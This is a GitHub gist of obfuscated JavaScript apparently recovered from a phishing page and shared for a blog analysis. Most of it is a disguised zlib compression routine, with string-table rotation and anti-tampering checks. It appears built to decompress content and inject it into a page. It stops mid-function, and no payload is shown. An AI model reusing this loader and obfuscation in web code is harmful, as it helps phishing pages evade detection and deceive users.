Skip to content

Instantly share code, notes, and snippets.

@technion
Last active August 12, 2020 03:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save technion/c266d29e2e8e31467cfafc0c2cc11664 to your computer and use it in GitHub Desktop.
Save technion/c266d29e2e8e31467cfafc0c2cc11664 to your computer and use it in GitHub Desktop.
blog of phishing code
'use strict';
/** @type {!Array} */
var _0xd60a = ["call", "unknown BTYPE: ", "innerHTML", "lazy", "invalid code length: ", "subarray", "createElement", "invalid compression type", "decompress", "input buffer is broken", "POSITIVE_INFINITY", "index", "verify", "charCodeAt", "bufferSize", "invalid uncompressed block header: LEN", "var ", "compile", "fromCodePoint", "finish", "bufferType", "shift", "compressionType", "input", "Zlib.Inflate.prototype.decompress", "invalid inflate mode", "slice", "NONE", "appendChild", "length", "string",
"Zlib.Inflate", "textContent", "prototype", "Zlib.Deflate.compress", "resize", "number", "invalid index", "documentElement", "buffer", "undefined", "trim", "unsupported compression type", "keys", "constructor", "Inflate", "unsupported compression method", "a9ae92d3-ee4f-4bc1-a8c5-7cff21373a99", "split", 'return /" + this + "/', "invalid adler-32 checksum", "getParent", "close", "invalid length: ", "push", "fromCharCode", "invalid code: ", "Zlib.Deflate.CompressionType", "write", "^([^ ]+( +[^ ]+)+)+[^ ]}",
"pop", "set", "execScript", "outputIndex", "invalid fcheck flag:", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", "Zlib.Inflate.BufferType", "outputBuffer", "test"];
(function(params, content) {
/**
* @param {?} selected_image
* @return {undefined}
*/
var fn = function(selected_image) {
for (; --selected_image;) {
params["push"](params["shift"]());
}
};
/**
* @return {undefined}
*/
var build = function() {
var target = {
data : {
key : "cookie",
value : "timeout"
},
setCookie : function(value, name, path, headers) {
headers = headers || {};
/** @type {string} */
var cookie = name + "=" + path;
/** @type {number} */
var _0x41aba5 = 0;
/** @type {number} */
var url = 0;
var key = value["length"];
for (; url < key; url++) {
var i = value[url];
/** @type {string} */
cookie = cookie + ("; " + i);
var char = value[i];
value["push"](char);
key = value["length"];
if (char !== !![]) {
/** @type {string} */
cookie = cookie + ("=" + char);
}
}
/** @type {string} */
headers["cookie"] = cookie;
},
removeCookie : function() {
return "dev";
},
getCookie : function(match, href) {
match = match || function(canCreateDiscussions) {
return canCreateDiscussions;
};
var v = match(new RegExp("(?:^|; )" + href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
/**
* @param {!Function} callback
* @param {number} i
* @return {undefined}
*/
var test = function(callback, i) {
callback(++i);
};
test(fn, content);
return v ? decodeURIComponent(v[1]) : undefined;
}
};
/**
* @return {?}
*/
var init = function() {
/** @type {!RegExp} */
var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
return test["test"](target["removeCookie"]["toString"]());
};
/** @type {function(): ?} */
target["updateCookie"] = init;
/** @type {string} */
var array = "";
var _0x4e194b = target["updateCookie"]();
if (!_0x4e194b) {
target["setCookie"](["*"], "counter", 1);
} else {
if (_0x4e194b) {
array = target["getCookie"](null, "counter");
} else {
target["removeCookie"]();
}
}
};
build();
})(_0xd60a, 264);
/**
* @param {string} i
* @param {?} parameter1
* @return {?}
*/
var _0x56c7 = function(i, parameter1) {
/** @type {number} */
i = i - 0;
var oembedView = _0xd60a[i];
return oembedView;
};
!function() {
var unstripName = function() {
/** @type {boolean} */
var closeExpr = !![];
return function(object__360, function__361) {
/** @type {!Function} */
var closingExpr = closeExpr ? function() {
if (function__361) {
var cssobj = function__361["apply"](object__360, arguments);
/** @type {null} */
function__361 = null;
return cssobj;
}
} : function() {
};
/** @type {boolean} */
closeExpr = ![];
return closingExpr;
};
}();
(function() {
/**
* @param {?} theResponseTXT
* @return {?}
*/
function callback(theResponseTXT) {
throw theResponseTXT;
}
/**
* @param {!Object} d
* @param {!Function} item
* @return {undefined}
*/
function extend(d, item) {
var DEVICE_PIXEL_RATIO;
var options = d["split"](".");
var window = window2;
if (!(options[0] in window) && window[_0x56c7("0x5")]) {
window["execScript"](_0x56c7("0x1c") + options[0]);
}
for (; options[_0x56c7("0x29")] && (DEVICE_PIXEL_RATIO = options["shift"]());) {
if (options[_0x56c7("0x29")] || item === undefined) {
window = window[DEVICE_PIXEL_RATIO] ? window[DEVICE_PIXEL_RATIO] : window[DEVICE_PIXEL_RATIO] = {};
} else {
/** @type {!Function} */
window[DEVICE_PIXEL_RATIO] = item;
}
}
}
/**
* @param {?} buffer
* @param {number} compressed
* @return {undefined}
*/
function set(buffer, compressed) {
this[_0x56c7("0x17")] = _0x56c7("0x30") == typeof compressed ? compressed : 0;
/** @type {number} */
this["i"] = 0;
this[_0x56c7("0x33")] = buffer instanceof (USE_TYPEDARRAY ? Uint8Array : Array) ? buffer : new (USE_TYPEDARRAY ? Uint8Array : Array)(32768);
if (2 * this[_0x56c7("0x33")][_0x56c7("0x29")] <= this[_0x56c7("0x17")]) {
callback(Error(_0x56c7("0x31")));
}
if (this[_0x56c7("0x33")][_0x56c7("0x29")] <= this[_0x56c7("0x17")]) {
this["f"]();
}
}
/**
* @param {number} renderingControlService
* @return {undefined}
*/
function Renderer(renderingControlService) {
this[_0x56c7("0x33")] = new (USE_TYPEDARRAY ? Uint16Array : Array)(2 * renderingControlService);
/** @type {number} */
this[_0x56c7("0x29")] = 0;
}
/**
* @param {!Array} lengths
* @return {?}
*/
function require(lengths) {
var size;
var a;
var bitLength;
var data;
var d;
var movesLength;
var autoReview;
var i;
var j;
var x;
var end = lengths[_0x56c7("0x29")];
/** @type {number} */
var maxCodeLength = 0;
var shortest = Number[_0x56c7("0x16")];
/** @type {number} */
i = 0;
for (; i < end; ++i) {
if (lengths[i] > maxCodeLength) {
maxCodeLength = lengths[i];
}
if (lengths[i] < shortest) {
shortest = lengths[i];
}
}
/** @type {number} */
size = 1 << maxCodeLength;
a = new (USE_TYPEDARRAY ? Uint32Array : Array)(size);
/** @type {number} */
bitLength = 1;
/** @type {number} */
data = 0;
/** @type {number} */
d = 2;
for (; bitLength <= maxCodeLength;) {
/** @type {number} */
i = 0;
for (; i < end; ++i) {
if (lengths[i] === bitLength) {
/** @type {number} */
movesLength = 0;
/** @type {number} */
autoReview = data;
/** @type {number} */
j = 0;
for (; j < bitLength; ++j) {
/** @type {number} */
movesLength = movesLength << 1 | 1 & autoReview;
/** @type {number} */
autoReview = autoReview >> 1;
}
/** @type {number} */
x = bitLength << 16 | i;
/** @type {number} */
j = movesLength;
for (; j < size; j = j + d) {
/** @type {number} */
a[j] = x;
}
++data;
}
}
++bitLength;
/** @type {number} */
data = data << 1;
/** @type {number} */
d = d << 1;
}
return [a, maxCodeLength, shortest];
}
/**
* @param {string} input
* @param {!Object} opt_params
* @return {undefined}
*/
function val(input, opt_params) {
/** @type {number} */
this["h"] = node;
/** @type {number} */
this["w"] = 0;
this["input"] = USE_TYPEDARRAY && input instanceof Array ? new Uint8Array(input) : input;
/** @type {number} */
this["b"] = 0;
if (opt_params) {
if (opt_params["lazy"]) {
this["w"] = opt_params[_0x56c7("0xf")];
}
if ("number" == typeof opt_params[_0x56c7("0x22")]) {
this["h"] = opt_params[_0x56c7("0x22")];
}
if (opt_params[_0x56c7("0xa")]) {
this["a"] = USE_TYPEDARRAY && opt_params[_0x56c7("0xa")] instanceof Array ? new Uint8Array(opt_params[_0x56c7("0xa")]) : opt_params[_0x56c7("0xa")];
}
if (_0x56c7("0x30") == typeof opt_params["outputIndex"]) {
this["b"] = opt_params[_0x56c7("0x6")];
}
}
if (!this["a"]) {
this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768);
}
}
/**
* @param {?} data
* @param {?} options
* @return {undefined}
*/
function Goal(data, options) {
this[_0x56c7("0x29")] = data;
this["G"] = options;
}
/**
* @param {!Object} map
* @param {!Object} array
* @return {?}
*/
function parse(map, array) {
/**
* @param {!Object} p
* @param {number} x
* @return {undefined}
*/
function equal(p, x) {
var interestingPoint;
var viewportCenter;
var i;
var value;
var pMain = p["G"];
/** @type {!Array} */
var a = [];
/** @type {number} */
var cnt = 0;
switch(interestingPoint = newPath[p[_0x56c7("0x29")]], a[cnt++] = 65535 & interestingPoint, a[cnt++] = interestingPoint >> 16 & 255, a[cnt++] = interestingPoint >> 24, true) {
case 1 === pMain:
/** @type {!Array} */
viewportCenter = [0, pMain - 1, 0];
break;
case 2 === pMain:
/** @type {!Array} */
viewportCenter = [1, pMain - 2, 0];
break;
case 3 === pMain:
/** @type {!Array} */
viewportCenter = [2, pMain - 3, 0];
break;
case 4 === pMain:
/** @type {!Array} */
viewportCenter = [3, pMain - 4, 0];
break;
case 6 >= pMain:
/** @type {!Array} */
viewportCenter = [4, pMain - 5, 1];
break;
case 8 >= pMain:
/** @type {!Array} */
viewportCenter = [5, pMain - 7, 1];
break;
case 12 >= pMain:
/** @type {!Array} */
viewportCenter = [6, pMain - 9, 2];
break;
case 16 >= pMain:
/** @type {!Array} */
viewportCenter = [7, pMain - 13, 2];
break;
case 24 >= pMain:
/** @type {!Array} */
viewportCenter = [8, pMain - 17, 3];
break;
case 32 >= pMain:
/** @type {!Array} */
viewportCenter = [9, pMain - 25, 3];
break;
case 48 >= pMain:
/** @type {!Array} */
viewportCenter = [10, pMain - 33, 4];
break;
case 64 >= pMain:
/** @type {!Array} */
viewportCenter = [11, pMain - 49, 4];
break;
case 96 >= pMain:
/** @type {!Array} */
viewportCenter = [12, pMain - 65, 5];
break;
case 128 >= pMain:
/** @type {!Array} */
viewportCenter = [13, pMain - 97, 5];
break;
case 192 >= pMain:
/** @type {!Array} */
viewportCenter = [14, pMain - 129, 6];
break;
case 256 >= pMain:
/** @type {!Array} */
viewportCenter = [15, pMain - 193, 6];
break;
case 384 >= pMain:
/** @type {!Array} */
viewportCenter = [16, pMain - 257, 7];
break;
case 512 >= pMain:
/** @type {!Array} */
viewportCenter = [17, pMain - 385, 7];
break;
case 768 >= pMain:
/** @type {!Array} */
viewportCenter = [18, pMain - 513, 8];
break;
case 1024 >= pMain:
/** @type {!Array} */
viewportCenter = [19, pMain - 769, 8];
break;
case 1536 >= pMain:
/** @type {!Array} */
viewportCenter = [20, pMain - 1025, 9];
break;
case 2048 >= pMain:
/** @type {!Array} */
viewportCenter = [21, pMain - 1537, 9];
break;
case 3072 >= pMain:
/** @type {!Array} */
viewportCenter = [22, pMain - 2049, 10];
break;
case 4096 >= pMain:
/** @type {!Array} */
viewportCenter = [23, pMain - 3073, 10];
break;
case 6144 >= pMain:
/** @type {!Array} */
viewportCenter = [24, pMain - 4097, 11];
break;
case 8192 >= pMain:
/** @type {!Array} */
viewportCenter = [25, pMain - 6145, 11];
break;
case 12288 >= pMain:
/** @type {!Array} */
viewportCenter = [26, pMain - 8193, 12];
break;
case 16384 >= pMain:
/** @type {!Array} */
viewportCenter = [27, pMain - 12289, 12];
break;
case 24576 >= pMain:
/** @type {!Array} */
viewportCenter = [28, pMain - 16385, 13];
break;
case 32768 >= pMain:
/** @type {!Array} */
viewportCenter = [29, pMain - 24577, 13];
break;
default:
callback("invalid distance");
}
/** @type {(Array|undefined)} */
interestingPoint = viewportCenter;
a[cnt++] = interestingPoint[0];
a[cnt++] = interestingPoint[1];
a[cnt++] = interestingPoint[2];
/** @type {number} */
i = 0;
value = a["length"];
for (; i < value; ++i) {
lz77buf[pos++] = a[i];
}
tmp[a[0]]++;
r[a[3]]++;
/** @type {number} */
_0x30d194 = p[_0x56c7("0x29")] + x - 1;
/** @type {null} */
max = null;
}
var i;
var length;
var j;
var leftCount;
var k;
var key;
var value;
var max;
var f;
var functionKeys = {};
/** @type {(Array|Uint16Array)} */
var lz77buf = USE_TYPEDARRAY ? new Uint16Array(2 * array[_0x56c7("0x29")]) : [];
/** @type {number} */
var pos = 0;
/** @type {number} */
var _0x30d194 = 0;
var tmp = new (USE_TYPEDARRAY ? Uint32Array : Array)(286);
var r = new (USE_TYPEDARRAY ? Uint32Array : Array)(30);
var a = map["w"];
if (!USE_TYPEDARRAY) {
/** @type {number} */
j = 0;
for (; 285 >= j;) {
/** @type {number} */
tmp[j++] = 0;
}
/** @type {number} */
j = 0;
for (; 29 >= j;) {
/** @type {number} */
r[j++] = 0;
}
}
/** @type {number} */
tmp[256] = 1;
/** @type {number} */
i = 0;
length = array["length"];
for (; i < length; ++i) {
/** @type {number} */
j = k = 0;
/** @type {number} */
leftCount = 3;
for (; j < leftCount && i + j !== length; ++j) {
/** @type {number} */
k = k << 8 | array[i + j];
}
if (functionKeys[k] === undefined && (functionKeys[k] = []), key = functionKeys[k], !(0 < _0x30d194--)) {
for (; 0 < key[_0x56c7("0x29")] && 32768 < i - key[0];) {
key[_0x56c7("0x21")]();
}
if (i + 3 >= length) {
if (max) {
equal(max, -1);
}
/** @type {number} */
j = 0;
/** @type {number} */
leftCount = length - i;
for (; j < leftCount; ++j) {
f = array[i + j];
lz77buf[pos++] = f;
++tmp[f];
}
break;
}
if (0 < key["length"]) {
value = equal(array, i, key);
if (max) {
if (max[_0x56c7("0x29")] < value[_0x56c7("0x29")]) {
f = array[i - 1];
lz77buf[pos++] = f;
++tmp[f];
equal(value, 0);
} else {
equal(max, -1);
}
} else {
if (value["length"] < a) {
max = value;
} else {
equal(value, 0);
}
}
} else {
if (max) {
equal(max, -1);
} else {
f = array[i];
lz77buf[pos++] = f;
++tmp[f];
}
}
}
key[_0x56c7("0x42")](i);
}
return lz77buf[pos++] = 256, tmp[256]++, map["L"] = tmp, map["K"] = r, USE_TYPEDARRAY ? lz77buf[_0x56c7("0x11")](0, pos) : lz77buf;
}
/**
* @param {!Object} data
* @param {number} row
* @param {!Object} arr
* @return {?}
*/
function equal(data, row, arr) {
var n;
var dir;
var i;
var p;
var shift;
var len;
/** @type {number} */
var start_i = 0;
var end = data[_0x56c7("0x29")];
/** @type {number} */
p = 0;
len = arr["length"];
_0x29ee25: for (; p < len; p++) {
if (n = arr[len - p - 1], i = 3, 3 < start_i) {
/** @type {number} */
shift = start_i;
for (; 3 < shift; shift--) {
if (data[n + shift - 1] !== data[row + shift - 1]) {
continue _0x29ee25;
}
}
/** @type {number} */
i = start_i;
}
for (; 258 > i && row + i < end && data[n + i] === data[row + i];) {
++i;
}
if (i > start_i && (dir = n, start_i = i), 258 === i) {
break;
}
}
return new Goal(start_i, row - dir);
}
/**
* @param {!Array} options
* @param {number} config
* @return {?}
*/
function factory(options, config) {
var a;
var k;
var cfg;
var key;
var val;
var size = options[_0x56c7("0x29")];
var result = new Renderer(572);
var o = new (USE_TYPEDARRAY ? Uint8Array : Array)(size);
if (!USE_TYPEDARRAY) {
/** @type {number} */
key = 0;
for (; key < size; key++) {
/** @type {number} */
o[key] = 0;
}
}
/** @type {number} */
key = 0;
for (; key < size; ++key) {
if (0 < options[key]) {
result[_0x56c7("0x42")](key, options[key]);
}
}
if (a = Array(result["length"] / 2), k = new (USE_TYPEDARRAY ? Uint32Array : Array)(result["length"] / 2), 1 === a[_0x56c7("0x29")]) {
return o[result[_0x56c7("0x3")]()["index"]] = 1, o;
}
/** @type {number} */
key = 0;
/** @type {number} */
val = result["length"] / 2;
for (; key < val; ++key) {
a[key] = result[_0x56c7("0x3")]();
k[key] = a[key]["value"];
}
cfg = function(q, symbols, size) {
/**
* @param {number} name
* @return {undefined}
*/
function load(name) {
var x = data[name][result[name]];
if (x === symbols) {
load(name + 1);
load(name + 1);
} else {
--cache[x];
}
++result[name];
}
var p;
var i;
var n;
var o;
var k;
var buffer = new (USE_TYPEDARRAY ? Uint16Array : Array)(size);
var array = new (USE_TYPEDARRAY ? Uint8Array : Array)(size);
var cache = new (USE_TYPEDARRAY ? Uint8Array : Array)(symbols);
/** @type {!Array} */
var a = Array(size);
/** @type {!Array} */
var data = Array(size);
/** @type {!Array} */
var result = Array(size);
/** @type {number} */
var excess = (1 << size) - symbols;
/** @type {number} */
var half = 1 << size - 1;
/** @type {number} */
buffer[size - 1] = symbols;
/** @type {number} */
i = 0;
for (; i < size; ++i) {
if (excess < half) {
/** @type {number} */
array[i] = 0;
} else {
/** @type {number} */
array[i] = 1;
/** @type {number} */
excess = excess - half;
}
/** @type {number} */
excess = excess << 1;
buffer[size - 2 - i] = (buffer[size - 1 - i] / 2 | 0) + symbols;
}
buffer[0] = array[0];
/** @type {!Array} */
a[0] = Array(buffer[0]);
/** @type {!Array} */
data[0] = Array(buffer[0]);
/** @type {number} */
i = 1;
for (; i < size; ++i) {
if (buffer[i] > 2 * buffer[i - 1] + array[i]) {
buffer[i] = 2 * buffer[i - 1] + array[i];
}
/** @type {!Array} */
a[i] = Array(buffer[i]);
/** @type {!Array} */
data[i] = Array(buffer[i]);
}
/** @type {number} */
p = 0;
for (; p < symbols; ++p) {
/** @type {number} */
cache[p] = size;
}
/** @type {number} */
n = 0;
for (; n < buffer[size - 1]; ++n) {
a[size - 1][n] = q[n];
/** @type {number} */
data[size - 1][n] = n;
}
/** @type {number} */
p = 0;
for (; p < size; ++p) {
/** @type {number} */
result[p] = 0;
}
if (1 === array[size - 1]) {
--cache[0];
++result[size - 1];
}
/** @type {number} */
i = size - 2;
for (; 0 <= i; --i) {
/** @type {number} */
o = p = 0;
k = result[i + 1];
/** @type {number} */
n = 0;
for (; n < buffer[i]; n++) {
if ((o = a[i + 1][k] + a[i + 1][k + 1]) > q[p]) {
a[i][n] = o;
/** @type {number} */
data[i][n] = symbols;
k = k + 2;
} else {
a[i][n] = q[p];
/** @type {number} */
data[i][n] = p;
++p;
}
}
/** @type {number} */
result[i] = 0;
if (1 === array[i]) {
load(i);
}
}
return cache;
}(k, k[_0x56c7("0x29")], config);
/** @type {number} */
key = 0;
val = a[_0x56c7("0x29")];
for (; key < val; ++key) {
o[a[key][_0x56c7("0x17")]] = cfg[key];
}
return o;
}
/**
* @param {!Object} props
* @return {?}
*/
function merge(props) {
var index;
var length;
var propValue;
var value;
var childEls = new (USE_TYPEDARRAY ? Uint16Array : Array)(props[_0x56c7("0x29")]);
/** @type {!Array} */
var boundaries = [];
/** @type {!Array} */
var keys = [];
/** @type {number} */
var i = 0;
/** @type {number} */
index = 0;
length = props["length"];
for (; index < length; index++) {
/** @type {number} */
boundaries[props[index]] = 1 + (0 | boundaries[props[index]]);
}
/** @type {number} */
index = 1;
/** @type {number} */
length = 16;
for (; index <= length; index++) {
/** @type {number} */
keys[index] = i;
/** @type {number} */
i = i + (0 | boundaries[index]);
/** @type {number} */
i = i << 1;
}
/** @type {number} */
index = 0;
length = props[_0x56c7("0x29")];
for (; index < length; index++) {
i = keys[props[index]];
keys[props[index]] += 1;
/** @type {number} */
propValue = childEls[index] = 0;
value = props[index];
for (; propValue < value; propValue++) {
/** @type {number} */
childEls[index] = childEls[index] << 1 | 1 & i;
/** @type {number} */
i = i >>> 1;
}
}
return childEls;
}
/**
* @param {string} table
* @param {!Object} args
* @return {undefined}
*/
function createConfig(table, args) {
switch(this["l"] = [], this["m"] = 32768, this["e"] = this["g"] = this["c"] = this["q"] = 0, this["input"] = USE_TYPEDARRAY ? new Uint8Array(table) : table, this["s"] = false, this["n"] = content, this["B"] = false, !args && (args = {}) || (args[_0x56c7("0x17")] && (this["c"] = args["index"]), args["bufferSize"] && (this["m"] = args["bufferSize"]), args[_0x56c7("0x20")] && (this["n"] = args[_0x56c7("0x20")]), args[_0x56c7("0x2f")] && (this["B"] = args[_0x56c7("0x2f")])), this["n"]) {
case NUMBER:
/** @type {number} */
this["b"] = 32768;
this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768 + this["m"] + 258);
break;
case content:
/** @type {number} */
this["b"] = 0;
this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(this["m"]);
this["f"] = this["J"];
this["t"] = this["H"];
this["o"] = this["I"];
break;
default:
callback(Error(_0x56c7("0x25")));
}
}
/**
* @param {!Object} data
* @param {number} b
* @return {?}
*/
function render(data, b) {
var a00;
var a = data["g"];
var d = data["e"];
var result = data[_0x56c7("0x23")];
var i = data["c"];
var el = result[_0x56c7("0x29")];
for (; d < b;) {
if (i >= el) {
callback(Error(_0x56c7("0x15")));
}
/** @type {number} */
a = a | result[i++] << d;
d = d + 8;
}
return a00 = a & (1 << b) - 1, data["g"] = a >>> b, data["e"] = d - b, data["c"] = i, a00;
}
/**
* @param {!Object} data
* @param {!Object} value
* @return {?}
*/
function resolve(data, value) {
var codeGeneratorFunc;
var x;
var val = data["g"];
var i = data["e"];
var b = data[_0x56c7("0x23")];
var r = data["c"];
var l = b["length"];
var node = value[0];
var lng = value[1];
for (; i < lng && !(r >= l);) {
/** @type {number} */
val = val | b[r++] << i;
i = i + 8;
}
return (x = (codeGeneratorFunc = node[val & (1 << lng) - 1]) >>> 16) > i && callback(Error(_0x56c7("0x10") + x)), data["g"] = val >> x, data["e"] = i - x, data["c"] = r, 65535 & codeGeneratorFunc;
}
/**
* @param {!Object} d
* @return {?}
*/
function f(d) {
if (_0x56c7("0x2a") == typeof d) {
var phrase;
var key;
var value = d[_0x56c7("0x3c")]("");
/** @type {number} */
phrase = 0;
key = value["length"];
for (; phrase < key; phrase++) {
/** @type {number} */
value[phrase] = (255 & value[phrase][_0x56c7("0x19")](0)) >>> 0;
}
d = value;
}
var v;
/** @type {number} */
var a = 1;
/** @type {number} */
var b = 0;
var h = d[_0x56c7("0x29")];
/** @type {number} */
var e = 0;
for (; 0 < h;) {
/** @type {number} */
h = h - (v = 1024 < h ? 1024 : h);
do {
b = b + (a = a + d[e++]);
} while (--v);
/** @type {number} */
a = a % 65521;
/** @type {number} */
b = b % 65521;
}
return (b << 16 | a) >>> 0;
}
/**
* @param {string} array
* @param {!Object} args
* @return {undefined}
*/
function create(array, args) {
var number;
var tmp;
switch(this["input"] = array, this["c"] = 0, !args && (args = {}) || (args[_0x56c7("0x17")] && (this["c"] = args[_0x56c7("0x17")]), args["verify"] && (this["M"] = args[_0x56c7("0x18")])), number = array[this["c"]++], tmp = array[this["c"]++], 15 & number) {
case delegate:
/** @type {number} */
this["method"] = delegate;
break;
default:
callback(Error(_0x56c7("0x3a")));
}
if (0 != ((number << 8) + tmp) % 31) {
callback(Error(_0x56c7("0x7") + ((number << 8) + tmp) % 31));
}
if (32 & tmp) {
callback(Error("fdict flag is not supported"));
}
this["A"] = new createConfig(array, {
index : this["c"],
bufferSize : args[_0x56c7("0x1a")],
bufferType : args[_0x56c7("0x20")],
resize : args[_0x56c7("0x2f")]
});
}
/**
* @param {?} data
* @param {!Object} obj
* @return {undefined}
*/
function result(data, obj) {
this["input"] = data;
this["a"] = new (USE_TYPEDARRAY ? Uint8Array : Array)(32768);
this["h"] = p["k"];
var key;
var res = {};
for (key in!obj && (obj = {}) || _0x56c7("0x30") != typeof obj[_0x56c7("0x22")] || (this["h"] = obj[_0x56c7("0x22")]), obj) {
res[key] = obj[key];
}
res["outputBuffer"] = this["a"];
this["z"] = new val(this[_0x56c7("0x23")], res);
}
/**
* @param {string} model
* @param {!Array} obj
* @return {undefined}
*/
function _pretty_print_object(model, obj) {
var s;
var p;
var i;
var loglevel;
if (Object[_0x56c7("0x37")]) {
s = Object[_0x56c7("0x37")](obj);
} else {
for (p in s = [], i = 0, obj) {
/** @type {string} */
s[i++] = p;
}
}
/** @type {number} */
i = 0;
loglevel = s[_0x56c7("0x29")];
for (; i < loglevel; ++i) {
extend(model + "." + (p = s[i]), obj[p]);
}
}
var undefined = void 0;
/** @type {boolean} */
var c = true;
var window2 = this;
/** @type {boolean} */
var USE_TYPEDARRAY = _0x56c7("0x34") != typeof Uint8Array && _0x56c7("0x34") != typeof Uint16Array && _0x56c7("0x34") != typeof Uint32Array && _0x56c7("0x34") != typeof DataView;
/**
* @return {?}
*/
set[_0x56c7("0x2d")]["f"] = function() {
var i;
var val = this[_0x56c7("0x33")];
var il = val[_0x56c7("0x29")];
var data = new (USE_TYPEDARRAY ? Uint8Array : Array)(il << 1);
if (USE_TYPEDARRAY) {
data["set"](val);
} else {
/** @type {number} */
i = 0;
for (; i < il; ++i) {
data[i] = val[i];
}
}
return this[_0x56c7("0x33")] = data;
};
/**
* @param {number} b
* @param {number} frames_per_block
* @param {boolean} errorText
* @return {undefined}
*/
set[_0x56c7("0x2d")]["d"] = function(b, frames_per_block, errorText) {
var audio_data_index;
var ret = this["buffer"];
var j = this[_0x56c7("0x17")];
var tDst = this["i"];
var a = ret[j];
if (errorText && 1 < frames_per_block && (b = 8 < frames_per_block ? (r[255 & b] << 24 | r[b >>> 8 & 255] << 16 | r[b >>> 16 & 255] << 8 | r[b >>> 24 & 255]) >> 32 - frames_per_block : r[b] >> 8 - frames_per_block), 8 > frames_per_block + tDst) {
/** @type {number} */
a = a << frames_per_block | b;
tDst = tDst + frames_per_block;
} else {
/** @type {number} */
audio_data_index = 0;
for (; audio_data_index < frames_per_block; ++audio_data_index) {
/** @type {number} */
a = a << 1 | b >> frames_per_block - audio_data_index - 1 & 1;
if (8 == ++tDst) {
/** @type {number} */
tDst = 0;
ret[j++] = r[a];
/** @type {number} */
a = 0;
if (j === ret[_0x56c7("0x29")]) {
ret = this["f"]();
}
}
}
}
ret[j] = a;
this[_0x56c7("0x33")] = ret;
this["i"] = tDst;
this[_0x56c7("0x17")] = j;
};
/**
* @return {?}
*/
set[_0x56c7("0x2d")][_0x56c7("0x1f")] = function() {
var result;
var a = this[_0x56c7("0x33")];
var key = this[_0x56c7("0x17")];
return 0 < this["i"] && (a[key] <<= 8 - this["i"], a[key] = r[a[key]], key++), USE_TYPEDARRAY ? result = a[_0x56c7("0x11")](0, key) : (a["length"] = key, result = a), result;
};
var trait;
var traitsChosen = new (USE_TYPEDARRAY ? Uint8Array : Array)(256);
/** @type {number} */
trait = 0;
for (; 256 > trait; ++trait) {
/** @type {number} */
var c = a = trait;
/** @type {number} */
var s = 7;
/** @type {number} */
var a = a >>> 1;
for (; a; a = a >>> 1) {
/** @type {number} */
c = c << 1;
/** @type {number} */
c = c | 1 & a;
--s;
}
/** @type {number} */
traitsChosen[trait] = (c << s & 255) >>> 0;
}
var r = traitsChosen;
/**
* @param {number} canCreateDiscussions
* @return {?}
*/
Renderer["prototype"][_0x56c7("0x3f")] = function(canCreateDiscussions) {
return 2 * ((canCreateDiscussions - 2) / 4 | 0);
};
/**
* @param {?} cur
* @param {?} tmp
* @return {?}
*/
Renderer[_0x56c7("0x2d")][_0x56c7("0x42")] = function(cur, tmp) {
var i;
var j;
var temp;
var nums = this[_0x56c7("0x33")];
i = this[_0x56c7("0x29")];
nums[this[_0x56c7("0x29")]++] = tmp;
nums[this[_0x56c7("0x29")]++] = cur;
for (; 0 < i && (j = this[_0x56c7("0x3f")](i), nums[i] > nums[j]);) {
temp = nums[i];
nums[i] = nums[j];
nums[j] = temp;
temp = nums[i + 1];
nums[i + 1] = nums[j + 1];
nums[j + 1] = temp;
i = j;
}
return this["length"];
};
/**
* @return {?}
*/
Renderer["prototype"][_0x56c7("0x3")] = function() {
var c;
var timeString;
var temp;
var i;
var j;
var array = this[_0x56c7("0x33")];
timeString = array[0];
c = array[1];
this[_0x56c7("0x29")] -= 2;
array[0] = array[this[_0x56c7("0x29")]];
array[1] = array[this[_0x56c7("0x29")] + 1];
/** @type {number} */
j = 0;
for (; !((i = 2 * j + 2) >= this[_0x56c7("0x29")]) && (i + 2 < this["length"] && array[i + 2] > array[i] && (i = i + 2), array[i] > array[j]);) {
temp = array[j];
array[j] = array[i];
array[i] = temp;
temp = array[j + 1];
array[j + 1] = array[i + 1];
array[i + 1] = temp;
/** @type {number} */
j = i;
}
return {
index : c,
value : timeString,
length : this["length"]
};
};
var err;
/** @type {number} */
var node = 2;
var obj = {
NONE : 0,
r : 1,
k : node,
N : 3
};
/** @type {!Array} */
var deletedHashes = [];
/** @type {number} */
err = 0;
for (; 288 > err; err++) {
switch(true) {
case 143 >= err:
deletedHashes[_0x56c7("0x42")]([err + 48, 8]);
break;
case 255 >= err:
deletedHashes[_0x56c7("0x42")]([err - 144 + 400, 9]);
break;
case 279 >= err:
deletedHashes[_0x56c7("0x42")]([err - 256 + 0, 7]);
break;
case 287 >= err:
deletedHashes[_0x56c7("0x42")]([err - 280 + 192, 8]);
break;
default:
callback("invalid literal: " + err);
}
}
/**
* @return {?}
*/
val["prototype"]["j"] = function() {
var tagsWithShortcuts;
var a;
var offset;
var len;
var args = this[_0x56c7("0x23")];
switch(this["h"]) {
case 0:
/** @type {number} */
offset = 0;
len = args["length"];
for (; offset < len;) {
var v;
var notifData;
var _0x243587;
var data = a = USE_TYPEDARRAY ? args[_0x56c7("0x11")](offset, offset + 65535) : args[_0x56c7("0x26")](offset, offset + 65535);
/** @type {boolean} */
var r = (offset = offset + a["length"]) === len;
var index = undefined;
var statePointOverride = undefined;
var arr = this["a"];
var i = this["b"];
if (USE_TYPEDARRAY) {
/** @type {!Uint8Array} */
arr = new Uint8Array(this["a"]["buffer"]);
for (; arr[_0x56c7("0x29")] <= i + data[_0x56c7("0x29")] + 5;) {
/** @type {!Uint8Array} */
arr = new Uint8Array(arr[_0x56c7("0x29")] << 1);
}
arr[_0x56c7("0x4")](this["a"]);
}
if (v = r ? 1 : 0, arr[i++] = 0 | v, _0x243587 = 65536 + ~(notifData = data[_0x56c7("0x29")]) & 65535, arr[i++] = 255 & notifData, arr[i++] = notifData >>> 8 & 255, arr[i++] = 255 & _0x243587, arr[i++] = _0x243587 >>> 8 & 255, USE_TYPEDARRAY) {
arr[_0x56c7("0x4")](data, i);
i = i + data[_0x56c7("0x29")];
arr = arr[_0x56c7("0x11")](0, i);
} else {
/** @type {number} */
index = 0;
statePointOverride = data[_0x56c7("0x29")];
for (; index < statePointOverride; ++index) {
arr[i++] = data[index];
}
arr[_0x56c7("0x29")] = i;
}
